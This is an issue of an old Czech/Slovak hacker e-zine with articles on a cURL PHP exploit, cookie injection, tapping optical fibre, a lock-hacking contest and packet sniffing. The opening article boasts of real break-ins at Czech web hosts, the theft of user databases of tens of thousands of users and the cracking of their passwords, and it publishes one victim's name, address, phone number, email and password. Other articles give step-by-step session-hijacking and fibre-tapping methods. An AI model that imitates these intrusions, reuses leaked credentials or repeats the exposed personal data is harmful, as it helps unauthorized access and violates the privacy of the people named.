    stalo. Kdyz pred 2ma rokama vysel prvni cURL php exploit, zbudilo to dost
    otresu na webhostingech. Primitivni 5ti radkovy php kod a mohly jste si
    prohlidnout jakykoliv file na serveru. Kolem zacatku unora se nam podarilo
    ukoristit jednu novou verzi cURL php exploitu, tak sme se rozhodli ho
    testnut na ceskych hostingach, at uz free nebo nefree.


    Funkce exploitu...
    Funkce je dost jednoducha dalo by se rict ze to je jakysi bypass pro
    'open_basedir' (podobne tomu bylo tak i u stareho cURL).


    Free webhosting hack...


    Vybrali jsme 2 ceske free hostingy jeden dost znamy (z bezpecnostich
    duvodu nebudu uvadet nazvy spolecnosti) a druhy malinko min znamejsi ale
    stejne oblibeny. Vytvorili jsme si konto s krasnym indexem, vytvorily php
    file napsali exploit a co nevidime... Na jednom hostingu bezel exploit
    paradne a na druhem uz to meli zrejme fixle. Cesta nas vedla kam jinam nez
    k databazi useru, kterou jsme asi po 5 minutach ziskali. Tento super cesky
    webhosting nemel v databazi ani hashovane hesla coz bych hodnotil jako
    totalni neschopnost hostingu, prace admina kterej si mysli ze je buh, pro
    nas tim prace byla ulehcena. 6 MB databaze ktera obsahovala: uin webu,
    domenu, jmena, adresy, telefony, ruzne internetove kontakty hesla useru a
    quoty. Jenze nekde nastala chyba a hosting na bug prisel a tak vsem userum
    zmenil hesla a bug fixnul (asi po 1 tydnu). Pro priklad jsem vybral jeden
    radek z databaze:



    INSERT INTO `users` VALUES (16934, 'hacker', 'Milan', 'Star�', 'Karlovy Vary', 'Majakovsk�ho 10', '36005',
    '777586191', 'emerika@centrum.cz', 0, 'ok', 'normal', 1115565668, 'emerika');


    Vidime ze domena je "hacker" a tento tajny hacker je "Milan Star�",
    Karlovy Vary, Majakovskeho 10, zanechal nam i telefoni cislo "777586191" i
    email "emerika@centrum.cz" a nasledne to nejdulezitejsi heslo "emerika".
    Jenze ted si asi reknete co s databazi v ktere jsou hesla, ktere uz jsou
    davno zmenene ?


    Neni tomu tak...
    Rekl jsem si, ze bych mohl skusit, jestli si heslo zmenil do puvod stavu a
    zaroven jestli pouziva stejne "super" heslo i na mailu etc. Funguje zase
    vsude. Vidime, ze je to urcite skuseny hacker. No i kdyz jsem to nezkousel
    tak odhaduju ze 9 lidi z 10 si zmeni to heslo nove vygenerovane na to
    jejich stare.
    Databaze obsahuje 18 854 useru.


    Tedka se vrhnem na neco vetsiho, myslim si ze hacknout placeny hosting,
    ktery je celkem dost znamy, je pekny ulovek !


    Placeny hosting hack...


    Zase nadesel cas pro novy cURL exploit a tak jelikoz jsme meli pristup k
    jenomu kontu na onom hostingu, tak jsme jej taky zkusili. Exploit behal
    skvele a tak i databaze tohoto hostingu se nam zjevila. Tato databaze byla
    o neco chudsi nez predesla ale i tak pekne. Obsahuje jen 3 informace ktere
    jsou domena, heslo (uz v hashi), a delka hesla. No databaze byla na svete,
    ale co s heslama v hashi ? Museli jsme najit patricny louskac hesel.
    Cracker se skompilil a prvni test bylo 7dmi mistne heslo. Nez jsem
    napocital do 5ti tak bylo heslo na svete. 8mi mistne heslo trvalo uz
    malinko dyl ale nejvetsi pocet tam byl aj tak 7 dmi mistnych. Tento
    hosting BUG fixnul za 14 dni od hacku, ale hesla v klidu nemenil, takze
    vsecky funguji stale. Z bezpec. duvodu jsem meno hostingu neuvadel, ani
    vypis z databaze.
    Databaze obsahuje 44 484 useru.


    Chyby byla opravena na
    CVS,
    ale autori cURLu nebyli schopni priznat dalsi trapny bug, aby neztratily
    vernost useru.


    khu @ dev . null


    navrat na obsah

    co ty na to ? board






    0000010100000001000001020061730208639748
    maniac
     maniac      28.06.2019 - 20:23:35 (modif: 28.06.2019 - 20:27:54) [4K] , level: 1, UP   NEW !!CONTENT CHANGED!!
    prielom 23


    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #23, 13.10.2004, prielom(zavinac)hysteria.sk, http://hysteria.sk/prielom/





    obsah





    intro


    Je nacase naucit sa rozlisovat. Rozlisovat medzi jednotlivymi druhmi hackerov.
    Hackeri su totiz svojim sposobom narod, to kazdy vidi. A hackeri vedia,
    ze su rozneho druhu. Ale malokedy protestuju, ked ich media a vladni
    cinitelia, ci sudy hadzu do jedneho vreca.


    Je mozne najst mnoho spolocnych crt, ale bolo by dobre si par veci ujasnit.


    Najviac spopularizovani su hackeri vyuzivajuci hlavne socialne inzinierstvo,
    infiltraciu. Stale sa o nich hovori. (Mitnick a pod.)
    Pre odbornikov su pritazou, aj ked mnohokrat tolerovatelnou,
    pre vlady su pohromou a firmy ich nazyvaju pliagou. Ich objavenie sa
    v mediach vzdy vyvola burlive reakcie.


    Menej znamou skupinou su hackeri softwarovej bezpecnosti a sietovych spojeni.
    To su ti co vymysleli a skonstruovali internet. Ich dalsia generacia
    pracuje v IT firmach a bankach. Tato skupina je pre ludstvo najdolezitejsia,
    su hnacou silou pokroku. Obvykle su velmi ticho.


    Hackeri zaoberajuci sa najma zaskodnictvom, pisanim virusov a trojskych koni.
    Obvykle mladi ludia, studenti s dostatkom volneho casu. Niektori chcu len
    "nieco dokazat, niekomu to ukazat", ale vacsina z tych serioznych
    (v case pisania) tuzi po pomste "krvilacnym" SW firmam, ktore
    "zarabaju peniaze predajom sraciek". Niektori sa po tom, co ich taka cinnost
    prestane bavit, stanu uznavanymi IT odbornikmi.


    Crackeri - hrdo sa hlasia k tomu, ze dokazu obist "ochranu proti kopirovaniu"
    a distribuuju software. Mnohi dokazu vyborne programovat a su tiez velkou
    pomocou mladym ludom v rozvojovych krajinach, ktori si drahy software nemozu
    dovolit a inak by sa ho nenaucili pouzivat. Tuto situaciu vyuzilo napr.
    Nemecko, ked ohlasilo, ze prijme 100.000 programatorov z takychto rozvojovych
    krajin. Crackeri teda prispievaju k rozvoju pocitacovej gramotnosti pre
    miliardy ludi. Okrem ineho tym vyrovnavaju socialne rozdiely.
    Japonske spolocnosti minuly tyzden [v case pisania: jul 2004]
    vycislili, ze vo vychodnej azii maju na
    kopirovanych CD nosicoch usly zisk 2*10^12 jenov. Ti cinski robotnici by si
    samozrejme pri svojom plate 10 hier na Playstation NIKDY nekupili, ale takto
    si slastne vylepsili zivotnu situaciu o uvedenu sumu.


    Najmenej znamou skupinou su hardwarovi hackeri. V minulosti boli taki
    z DDR (NDR) najuznavanejsimi na svete. Keby ich cinnost nevyrusil pad
    zeleznej opony, zacali by s vyrobou 100% kopie procesoru i80286 - fotokopie!
    Takito, ale omnoho lepsi, odbornici existuju dodnes a vyvojove pracoviska
    a univerzity maju o nich velky zaujem, takze na osobnu tvorivu cinnost
    maju malo casu.



    ...Arabi su tiez narod, ale nie kazdy Arab je terorista. A nie kazdy
    terorista je Arab. Bolo by dobre urychlene najst vychodisko z kruhu
    zovseobecnovania...


    Tento clanok by chcel iniciovat vytvorenie novych pojmov pre tieto skupiny
    a tiez to aby ich tieto skupiny (hrdo) zacali pouzivat.


    Oniko, oniko (zavinac) hysteria (bodka) sk


    navrat na obsah

    co ty na to ? board




    cookie injection


    Uvod


    Prestoze si vetsina z nas mysli, ze prihlasovani pres webovy protokol HTTPS
    je vzdy bezpecne, nemusi tomu tak byt, pokud cilova stanice pouziva
    k autentizaci Cookies. V cele implementaci cookies jak do prohlizecu,
    tak do programovacich jazyku (PHP), se nachazi principialni chyby,
    jez umoznuji ziskat pristup i k velmi citlivym sluzbam.


    Chyba se samozrejme naleza tez pri pristupu pres standardni nezasifrovany
    HTTP protokol, ale zde jiz bereme bezpecnost samozrejme zcela stranou,
    protoze zabezpeceni HTTP protokolu je takrka nulove.


    Princip utoku


    Predpokladejme, ze klientska stanice pristupuje k vzdalenemu serveru pres
    sitovy segment ci proxy server, ktery mame pod nasi kontrolou.
    Stanice se pres SSL spojeni prihlasi k serveru a ten ji prideli unikatni
    identifikator session, s kterym svaze uzivatelske jmeno a heslo, a pote
    uzivatele autorizuje. Az potud nevidite zadny problem. Jeden drobny
    problem muze vzniknout v pripade, ze server nepredava cookies s
    nastavenym flagem "Secure" - RFC2109, hlava 4.2.2
    (http://www.zvon.org/tmRFC/RFC2109/Output/) a vy se neodhlasite a
    prestoupite na nezasifrovanou stranku ve stejne domene.
    V tomto pripade muze utocnik odchytit cookies, ktera se posle
    nesifrovane a pokusit se ukrast vam spojeni.


    Doporuceni: Pokud posilate Cookies pres sifrovany kanal, vzdy nastavujte
    flag "Secure", aby Cookies nebyly pristupne i na nezasifrovanem spojeni!"


    Informace: Prohlizec Mozilla i Opera ma zabudovany spravce souboru cookies,
    ktery je schopen urcit, ktere cookies jsou a nejsou zabezpeceny.


    Nyni jsme tedy pochopili, ze cesta ke cookies muze vest pres nezabezpecene
    spojeni. Ovsem co kdyz administrator hlida cookies pres flag "Secure"?
    Ani ted neni vse ztraceno. Vetsina programovacich jazyku i frameworku vubec
    nehlida pridelovani cookies, tedy nevaze cookies na konkretniho uzivatele
    ci IP adresu. V tomto pripade muzeme ukrast session pomoci drobneho triku,
    nejdrive se prihlasime k zabezpecenemu serveru a nechame si od nej
    vygenerovat cookie.



    /--------- /---------
    | Utocnik |-<-- Nahodne generovana cookies obsahujici Session ID -<--| Server |
    ---------/ ---------/


    Nyni pocitame s tim, ze klient pristupuje k webu pres segmnent, ktery mame
    pod kontrolou - treba pres nas proxy server. Nami drive vygenerovanou
    cookies mu podsuneme, pokud se prihlasi k nezasifrovane verzi webu,
    pripadne ji podsuneme treba jako vlozeny obrazek do jine webove stranky,
    v extremnim pripade muzeme nahodny pozadavek klienta presmerovat na
    nesifrovanou verzi webu. K tomuto ucelu nam poslouzi tzv. filtrovaci proxy
    servery, treba Privoxy apod.



    /--------- /------- /---------
    | Browser |-<-- nam zname Session ID -<--| Proxy |---------<---------| Server |
    ---------/ -------/ ---------/


    Nyni ma klient v prohlizeci ulozenou cookie s nami vygenerovanym Session ID.
    Protoze vetsina skriptu funguje tak, ze kontroluje, jestli mate pridelenou
    nejakou session, a pokud ne vygeneruje dalsi, tak nam toto webovy server
    pohodlne prijme. Server nebude mit tuseni, ze se prihlasuje nyni nekdo zcela
    jiny, jednoduse s vygenerovanou cookie svaze nove uzivatelske jmeno a heslo
    (to ovsem nelze ziskat, protoze je ulozeno na serveru, a je vazano pouze na
    session id) a oznaci vasi session za prijatou. V tomto pripade jste se vy
    uspesne prihlasili k serveru pres sifrovane spojeni a presto zna utocnik
    vase Session ID, ktere mu umozni delat operace primo pod vasim jmenem.
    Nyni staci utocnikovi v prohlizeci zadat pouze internetovou stranku sluzby a
    bude automaticky prihlasen. Pokud navic cely utok probehne presmerovanim
    pres proxy server, nezmeni se ani IP adresa pocitace a vse tak bude vypadat,
    jako by dane operace provadela opravnena osoba.



    /--------- /------- /---------
    | Browser |--->-----SSL--------------->--| Proxy |---SSL--->---------| Server |
    | SID:100 | / | IP:A | ---------/
    ---------/ / -------/
    /
    /
    /--------- /
    | Utocnik |--->-----SSL----/
    | SID:100 |
    ---------/


    Prakticke realizace utoku


    1) Sezeneme si filtrovaci proxy server - treba privoxy (linux),
    proxomitron (win32)

    2) Vygenerujeme si Session ID

    3) V proxy serveru pridame do hlavicek nezasifrovaneho spojeni nami
    vygenerovanou Session ID

    4) Nejakym zpusobem osobu dostaneme na nezapezpecene stranky, treba pres
    301 redirect, vlozenim skryteho obrazku atd...

    5) Pokud uvidime SSL aktivitu na port 443, jenom zadame adresu pro prihlaseni
    a automaticky budeme systemem prihlaseni

    6) Enjoy :-)


    Obrana proti utoku


    1) U vsech cookies pouzivanych u sifrovaneho spojeni pouzivejte priznak
    Secure

    2) Cookies generujte az po uspesnem prihlaseni

    3) Pred prihlasenim zahazujte cookies


    Aplikovatelnost utoku


    Pres 60% sluzeb pristupnych s SSL.


    Fry, fry (zavinac) hysteria (bodka) sk


    navrat na obsah

    co ty na to ? board




    odposlech optickeho signalu


    Zakladni vlastnosti optickeho vlakna a podstatnou vyhodou oproti
    klasickemu metalickemu vedeni je jeho imunita oproti elektromagnetickemu
    ruseni. Dalsi vcelku ne nepodstatnou vyhodou je nemoznost toto vlakno
    odposlouchavat. Ale jak se zda zvykem, marketingove materialy lzou. Nebo
    alespon nerikaji plnou pravdu. Jde to. Ptate se jak ?


    Pro pochopeni zpusobu odposlechu je nutno znat architekturu optickeho
    vlakna. Zakladem vlakna jsou dve vrstvy. Jadro s prumerem od 5.2 do
    62.5 mikrometru (pro srovnani, lidsky vlas ma tloustku od 30-75
    mikrometru) s nizkym indexem lomu. Pak je to stredni vrstva s prumerem
    125 mikrometru, ktera ma vyssi index lomu. Jako materialy jsou pouzivany
    akrylat, polyimid, kremicite sklo nebo kremicite sklo s primesi fosfatu
    a neodymu. Ale to neni vse. To co ale vidime z optickeho vedeni je hlave
    ochrana vrstva, ktera pokryva odrazovou vrstvu a zajistuje stabilni
    mechanicke pripojeni konektoru. Zaroven slouzi jako ochrana pred unikem
    signalu, nebot ma znacne vysoke albedo (odrazivost), predevsim ve
    viditelne casti spektra. Cela tato struktura je vlozena do oplasteni z
    fluoroplastu, polyamidu nebo kevlaru. Mezi oplasteni a ochrannou vrstvu
    lze casto nalezt gel, ktery ma zamezit vniknuti vody nebo jinych
    tekavych latek.


    Sice se udava, ze doporucena mez polomeru ohybu u optickych vlaken se
    pohybuje okolo 50mm, ale je to mez urcena pro prenaseni signalu. Vyrobci
    udavaji u mechanickych vlastnosti techto vyrobku mez ohybu od 7 do 15
    mm. Teplotni rozsah je take zajimavy - u kremicitych vlaken se meze
    odolnosti pohybuji od -190 C do 390 C. Pro prenos dat se uzivaji spektra
    o vlnove delce od 1550 nanometru (infracervene) do 248 nanometru
    (ultrafialove), utlum se pohybuje zhruba v rozmezi 2-30 dB dle
    materialu. Telekomunikace nepouzivaji plny rozsah, zde se pouzivaji
    hlavne frekvence 1550nm, 1200/1300nm a 750/850nm. I toto jsou dost
    zajimave informace, jak je videt z informaci o ochranne vrstve (vysoke
    albedo ve VIDITELNE casti spektra). Tim ovsem nekoncime.


    Dnes pouzivane vlakna pro prenosy jsou bud typu Single mode
    (jednovidove), nebo Multimode (vicevidove). Multimode se dale deli na
    graded index a stepped index. Pro porozumneni principu doporucuji
    nalistovat si v ucebnici fyziky cast optika, bude potreba. Konkretne se
    podivejte na zakon odrazu, zakon lomu (Schnelluv zakon), index lomu a
    hlavne - mezni uhel odrazu. Nejdrive si ale vysvetlime, jak pracuji
    jednotlive typy vlaken.


    Single mode:

    Tyto vlakna maji maly prumer jadra, udava se 5 mikrometru a signal se
    tak siri temer bez odrazu. Diky nizsimu poctu odrazu se snizuje riziko
    problemu (na zaver clanku) a lze tak prenaset signal s nizsi
    intenzitou na delsi vzdalenost.


    Multimode stepped index:

    Starsi technologie prenosu, vlakno ma vetsi prumer a vyssi pocet
    odrazu, ale je levnejsi na vyrobu. Diky urcitym jevum nelze signal
    prenaset na dostatecne dlouho vzdalenost a je nutne ho prenaset s
    dostatecnou energii.


    Multimode graded index:

    Novejsi technologie prenosu na kratke vzdalenosti. Prosim vazene
    znalce fyziky, aby to ted cetli s pochopenim, protoze nevim jak
    nejlepe prenest jazyk matematiky do textu. V tomto prostredi se
    paprsek po delsi ceste siri rychleji (je zde odstupnovany index
    lomu prostredi). Diky tomu se vyrovnava barevna chyba.


    Pokud jste to docetli sem, tak jiz mate veskere potrebne informace
    pro navrzeni zpusobu jak odposlouchavat opticke vedeni. Veskere
    potrebne informace o indexu lomu materialu danych vyrobcu lze bez
    problemu sehnat a zbytek je otazkou elementarni matematiky. Pricip
    odposlechu spociva pouze v poruseni standardnich podminek. V tech
    totiz kabel nesmi mit polomer ohybu mensi nez 50 mm. Proc ?
    Protoze pri nizsim polomeru dojde k prekroceni mezniho uhlu odrazu
    a vysledkem je vyzareni signalu mimo vlakno.
    Protoze pri injektovani signalu do vlakna signal nejde nikdy v ose
    - kazde vlakno ma urcity vstupni uhel pod kterym signal muze
    vchazet, vlakno nikdy neni dokonale rovne, dochazi vzdy ve
    vlaknu k odrazum. Tento jev lze vyuzit. Ve fyzice existuje
    situace castecneho lomu a odrazu. Tento jev ma na svedomi
    duhovou barvu tenke vrsty oleje na vode, duhu atd. Zaroven jej
    vsak lze vyuzit pri odposlechu. Pri urcitem polomeru dochazi k
    castecnemu lomu, kdy cast signalu se vyzari ven a cast signalu
    projde dal. To je presne ten idealni stav, ktereho chceme
    docilit. Merici zarizeni sice zjisti utlum, ovsem ten muze byt
    zpusoben diky dalsim jevum.


    Pro odposlech je potreba kulatina z plexiskla, pro fajnsmekry
    opticke sklo (kdo ma zname, muze si ho nechat udelat). Doporucuji
    povrch zacistit leptanim nebo jinou technologii. Prumer je
    potreba si spocitat podle informaci o vlaknu. Je potreba zjistit
    si index lomu nebo NA - Numericka apertura = sin(90 - uhel
    odrazu vzhledem ke kolmici). Pokud je vse presne - vypocet i
    obrobeni, staci pro Multimode vlakno postarsi Single mode adapter
    a temer vse je hotovo. Jedina vec na kterou je treba dat si
    pozor - signal muze vystupovat po vnejsi hrane vlakna pri
    dostatecne velkem ohybu, pro prilis maly ohyb muze vystupovat po
    vnitrni hrane vlakna.


    Pasivni odposlech je hezka vec, muzeme ale potrebovat injektovat
    signal zpet. Pro jednovidove vlakno lze pouzit multimodovy GBIC,
    injektaz je provadena pod shodnym uhlem jako prijem. Je ovsem
    potreba zajistit ohyb dostatecne velky, aby nedochazelo k
    prenosu puvodnich informaci.


    Metodu injektaze lze pomerne snadno odhalit - rychlost sireni
    signalu v optickem vlaknu je 99.99% c, sireni signalu v
    elektronickych obvodech lze vyjadrit priblizne jako 60% c. V
    okamziku odkloneni cele sirky signalu a presmerovani pres nejaky
    pocitac dojde k prodleve, ktera "prodlouzi" vlakno o nekolik
    stovek metru az kilometru. Dalsi vec, ktera muze tento stav
    pomoci vyhodnotit je zvyseni utlumu na vlakne. Tato metoda take
    neni uplne dokonale pro prenos signalu pomoci WDMP nebo
    podobnych metod, kazda barva (vlnova delka) ma dostatecne
    odlisne charakteristiky na to aby ztizila vypocty. Pro zaklad
    ovsem staci vypocty priblizne, popsana metoda je dostatecne
    presna ;o))


    Protoze mne konstrukce optoelektronickych prevadecu az tak moc
    nezajima, nadale nebudu rozebirat vlastni prevod signalu ani
    laser. V praxi jsem zkousel odposlech pomoci vykuchaneho GBIC
    adapteru a ze zacatku kulatiny z plexiskla. V domacich
    podminkach je nejvetsim problemem odstranit gel, ktery znacne
    ztezuje moznost "cteni" signalu. Druhym neprijemnym jevem je
    ochranna vrstva, ktera signal rozptyluje. Ve vysledku jsem si
    udelal "stojan", kde pri ohnuti vlakna s pouzitim nekolika cocek
    a zrcatek jsem mohl cist data beze ztraty puvodni informace.
    Nastesti se totiz neposila jeden foton, ale impuls o urcitem
    trvani. Vzhledem k nedokonale spojitosti signalu a dalsim
    podminkam uvnitr vlakna si tak muzeme cast signalu nacist. Neni
    to jednoduche, ale lze udelat pripravek, ktery umoznuje data
    nacitat pro dany vnitrni prumer jadra a danou frekvenci signalu.
    Problemy dela vlastne jenom ta ochranna vrstva, ktera se
    snazi signal rozptylit, aby mohl byt pohlcen obalem. Protoze vsak
    rozptyl neni dokonaly, lze signal zpet zaostrit na fotodiodu
    GBICu. Opticke vedeni neni potreba "omotavat", staci lehky ohyb.
    To je vlastne vse.


    Kdo si bude chtit doma udelat vlastni zarizeni pro odposlech,
    staci mu zaklady matematiky a fyziky ze stredni skoly,
    doporucuji matematicko/fyzikalni tabulky, kde lze najit potrebne
    vzorce (vyzaduje to prirozenou inteligenci) a indexy lomu pro
    nektera prostredi. Jako zaklad, bez ktereho se neobejdete budete
    potrebovat trigonometrii. Pokud znate NA - numerickou aperturu,
    muzete dopocitat delku drahy, kterou musi svetlo urazit mezi
    odrazy. Na to potrebujete znat typ vlakna - lepe receno jeho
    vnitrni prumer, od typu vlakna se odviji i vstupni uhel signalu.
    Triangulace umozni dopocitat body odrazu (same trojuhelniky, kdo
    by to rekl). Protoze jde o dva odrazy za sebou - dovnit a ven,
    spocita se prepona (vzdalenost mezi body odrazu na vnejsi
    hrane). Tim nam vyjde jakysi mnohouhelnik - dale uz je to
    jednoduche. Vzdalenost vnejsich hran dava delku prepony
    rovnoramenneho trojuhelniku. Ramena rovnoramenneho trojuhelniku
    nam davaji prumer a jediny parametr ktery je potreba si kazdy
    najde sam. ;o)))


    Problemy na optickem vedeni:


    Absorbce signalu na necistotach - odraz a pohlceni signalu, vlny
    v opacne fazi.

    Disperze signalu na necistotach - difuze a pohlceni signalu
    obalem.

    Chromaticka disperze - barevna chyba. V ucebnici fyziky viz.
    barevna chyba cocek/rozptylek.

    Disperze modu - diky rozdilnym vlnovym delkam a rozdilnym cestam
    - odrazum muze dojit k preslechu na vystupu.

    Ohyb vlakna (maly nebo velky ohyb) - vystup signalu smerem ven,
    casto po secne, nebo vystup smerem dovnitr.


    Tabulka s pribliznymi vlnovymi delkami, vykonem laseru a typem
    vlakna:


    Vlnova delka v nm vykon v mW typ vlakna
    650..660 50, 100 MM
    780..800 50, 100 SM
    805..810 500 MM
    820..840 50,100 SM
    840..870 50,100 SM
    920..950 50,100 SM
    960..990 50,100 SM
    975..980 500,1000,1500 MM


    Tyto udaje nejsou z pochopitelnych duvodu kompletni, zaslouzily
    by si samostatny clanek. V IT oblasti se nejcasteji pouziva
    infracervene a cervene pasmo. Vyjimkou je WDML, ktere pouziva
    ruzne casti spektra pro zajisteni vysokych datovych toku.
    Ostatni vlnove delky se pouzivaji v jinych aplikacich
    (lekarstvi, fyzikalni a chemicke experimenty, merici sondy
    atd.). Protoze nemam prostredky, tezko si budu hrat s
    odposlechem WDML, teoreticky by to slo pomoci hranolu a nekolika
    cocek. Vysledek by byl ovsem znacne slozity, podstatne
    slozitejsi nez stavajici zarizeni. Dalsi tabulka uvadi prehled
    zarizeni pro generovani laserovych signalu male intenzity pro
    prenosy dat v libovolnych aplikacich.


    Frekvencne je deleni nasledujici:


    Vlnova delka v nm Typ laseru Utlum signalu
    1550 LED 0.050
    1300 LED 0.030
    1064 ND:YAG 0.012
    850 LED 0.013
    820 LED 0.006
    647 Krypton Red 0.008
    633 HeNe 0.008
    532 KTP 0.013
    515 Argon Green 0.014
    488 Argon Blue 0.013
    308 Excimer 0.27
    248 Krypton Fluoride 1.1


    c=299 987 762.254 372 ms-1


    P.S.: Optika je velice narocna na presnost. Jak jsem zjistil uz
    pri prvnim pokusu - staci malo ;o)


    Derelict, derelict (zavinac) hysteria (bodka) sk


    navrat na obsah

    co ty na to ? board




    report o prvom hackovani primitivneho
    elektronickeho zamku na hysteria session 2004-01


    Takze tentoraz to bolo 11 registrovanych pokusov o prelomenie kodu zamku,
    zucastnilo sa ho 14 ludi, niektori dost pasivne. Nasleduje chronologicky popis.
    Sobota vecer, hluk a hudba po prezentaciach. Neviem ako sa to zacalo,
    dej bol takyto: Prvym dobrovolnym pokusnym kralikom bol WooDy. Dostal znacnu
    davku instruktaze, ale pochopil ju. Caha a spol. sa po zhliadnuti rozhodli
    najst veceru, vratili sa az neskoro. Niekt0 to mal stale v hlave a snazil
    sa pochopit. Spolu s V92, ktory sa odhodlal s tym nieco urobit po dlhej uvahe
    a rozbore a niekolkych radach zacali s meranim. Nebolo to tak myslene, ale
    potom uz nasli system. Nova kapitola sa zacala s Rejdenom, ktoremu sa podaril
    priam husarsky kusok. Prisiel, pozrel, zahlasil "ja som zhuleny", ale po par
    minutach sa k tomu posadil. Ako jediny dovtedy - neskumal, kde to ma vstup
    alebo vystup (napriek tomu, ze som ich vsetkych upozornoval, ze je to
    nepodstatne) a pracoval systematicky. WOOT! To bol moj dojem z prace Svena.
    Potreboval asi 10 minut na pochopenie, pricom stale opakoval: "Nechapem" a
    este: "Nerozumiem tomu". Potom sa spytal 'to funguje tak a tak?' - "ano",
    odpovedam. Potom znova pozera a otaca, naco zapise hned prve dve cisla.
    V porovnani s ostatnymi siel velmi rychlo. Taktiez chybovost jeho postupu
    bola velmi nizka. Podobne ako ostatnych ho vo finale zdrzal jeden maskovany
    vodic. Bolo by to 100% az na to, ze som ho musel upozornit, aby si vyskusal
    ci to co napisal je naozaj funkcne.


    Pre utechu vitazov a cest porazenym uvadzam, ze elektrikar Fry to nespravil.
    Navyse vyraz "10" v jeho texte traba chapat ako "IO". Asi najhorsie dopadol
    Stanojr. Po minutke skumania sa zacal klatit smerom k oknu a po chvili to
    vzdal, musel totiz Wicked ukazat ako sa vie naburat do flasky Hysteria
    Slivovice.


    No a niekedy potom sa V92 este s niekym snazili rozchodit Buldoga, na co
    vyuzili zostavajuci cas na pozeranie filmov. Z dovodu celkoveho vycerpania sa
    pri ranajkach triasol ako ratlik. Aby som ho neohovaral, dovod nasej rannej
    stuhnutosti bolo snezenie, nizka teplota a vietor, ktore vznikli po tom ako
    sa Otis v povznesenej nalade po oslave narodenin nabural do simulatora pocasia.
    Zarucene na 100% si nic z toho nepamata.


    Rano pred odchodom sa este Caha pustil do skumania L1 zamku za prizerania
    svojich partakov. Bavili sa dobre a sikovne to spravili. Fanusikom tohto
    sportu nie je len tak Niekt0, ktory medzitym spravil L2 zamok. Caha, Seba, Mike
    po nom prevzali L2 zamok a vypracovali vlastny postup merania.


    Medzitym sa Zviratko statocne zahryzlo do riesenia L1, hoci pracu nedokoncil,
    zanechal dolezity poznatok: "FOLLOW THE WIRES :-]" Po nom si riesenie L1 este
    zopakoval "WooDy, pajkus (salam), alik (dozor)" - to pisal WooDy - a to by bolo
    asi vsetko.


    FAQ:


    Q: Su skutocne zamky riesene rovnako?

    A: Pripodobnime si uroven zamkov k matematike. L1 sa da prirovnat k zlozitosti
    scitania, odcitania a L2 k velkej nasobilke. Zamky, ktore zaistuju zapinanie
    systemov jadrovych zbrani sa daju prirovnat k vytvaraniu diferencialnych
    rovnic 3., 4. a 5. radu a ich rieseniu.


    Postup hodnotenia:



    OPEN 0,6 neotvoril/otvoril
    CODE 0,1,6,7 1 bod za skoro dobre heslo, 7 za dobre a 6 za funkcne,
    aj ked nie spravne (napriklad porucha HW)
    POPIS 0..8 zdvihol som to z opovodnych max. 3 na max. 8


    Este komentar k vasim popisom:


    WOODY



    var heslo:string;
    p:integer;
    act:char;
    ok:boolean;

    Begin
    heslo:='11221013..';
    p:=0;
    ok:=boolean;

    ...RANO X-8
    (BROKEN PIPE -/)_

    Segmentationj fault
    woody@lacey:#init0


    Z uvedeneho vidno, ze sa mu zlamala pipeline a zlyhal rozdelovac,
    takze mu to nezapalovalo.


    V92/NIEKT0


    Zle zapisane heslo, smola. Postup je pre nezasveteneho maximalnou zahadou.
    Ako a voci comu merat? Co mam hladat?


    REJDEN


    Az v nedelu dal kratky popis, ale dolezity v duchu "Doveruj, ale preveruj
    (aj kable)"


    SVEN


    Postup zahrnul do troch bodov a vela dolezitych udajov o implementacii zamku.


    FRY


    Popis sa dal pochopit, aj ked vyzaduje vlastnu iniciativu citatela.


    CAHA


    Podobne, keby tam bol nakreslil obrazok, mal by aspon o bod viac.


    NIEKT0 (cheatujuci)


    Ako jediny spomina, ze obvod ma aj nespecifikovany timeout pri zadavani.
    Celkom podareny popis postupu, len tak dalej.


    ZVIRATKO


    Dobre uvadza, ze tam niekde je cosi, co urcuje poradie.


    SEBA/CAHA/MIKE


    Ich popis vhodne doplna popis Niekt0ho, popisuje tiez kde je zrada v obvode.


    Vysledky ucastnikov, bodovanie:



    LEVEL1 OPEN CODE POSTUP SPOLU
    v92/niekt0 6 1 1.5 8
    rejden 6 7 2 15
    sven 6 7 4 17
    fry 0 0 2 2
    stanojr 0 0 0 0
    zviratko 0 0 2.6 3
    caha 6 7 1.5 14
    WooDy/pajkus/alik 6 7 1.5 14

    LEVEL2 OPEN CODE POSTUP SPOLU
    WooDy 6 7 3 16
    niekt0(cheatujuci) 6 6 4 16
    seba/caha/mike 6 7 4 17


    Oniko, oniko (zavinac) hysteria (bodka) sk


    navrat na obsah

    co ty na to ? board





    odchytavanie paketov na prepinacej sieti


    Teoria:


    Co je to odchytavanie paketov (sniffing) snad nemusim vysvetlovat. Vacsina
    ludi, co sa zaoberaju pocitacovou bezpecnostou sa s tymto pojmom uz stretla.
    Vo vseobecnosti vladne nazor, ze sniffovanie je mozne iba v sietach, kde su
    pocitace poprepajane pomocou hubov a sniffovanie v prepinanej sieti (siet
    zalozena na switchoch) nie je mozne.


    Na uvod si vysvetlime, aky je rozdiel medzi hubom a switchom.


    Hub funguje ako rozdvojka, roztrojka, resp. rozosmicka.



    ------------------------
    | |
    | HUB |
    ---+------+------+------
    | | |
    | | |
    ---- ---- ----
    |PC-a| |PC-b| |PC-c|
    ---- ---- ----


    Vsetky data, ktore posiela pocitac PC-a pocitacu PC-b, posle hub aj pocitacu
    PC-c. To, ci prislusny paket pocitac spracuje, zavisi od IP adresy prijimatela
    a pocitaca, ktoremu paket prisiel. Kedze kazdy pocitac ma inu IP adresu,
    ziaden pocitac nespracuvava cudzie data.


    Sietovu kartu je vsak mozne prepnut do tzv. promiskuitneho rezimu, kedy karta
    prijima vsetky pakety bez ohladu na to, komu boli adresovane. Pokial pocitac
    PC-a je server, PC-b je uzivatel a PC-c je utocnik, staci utocnikovi prepnut
    kartu do promiskuitneho rezimu a dokaze odchytit
    vsetky data (mena, hesla, maily,
    ...) ktore posielal uzivatel serveru (PC-a -> PC-b) alebo server
    uzivatelovi (PC-b -> PC-a).


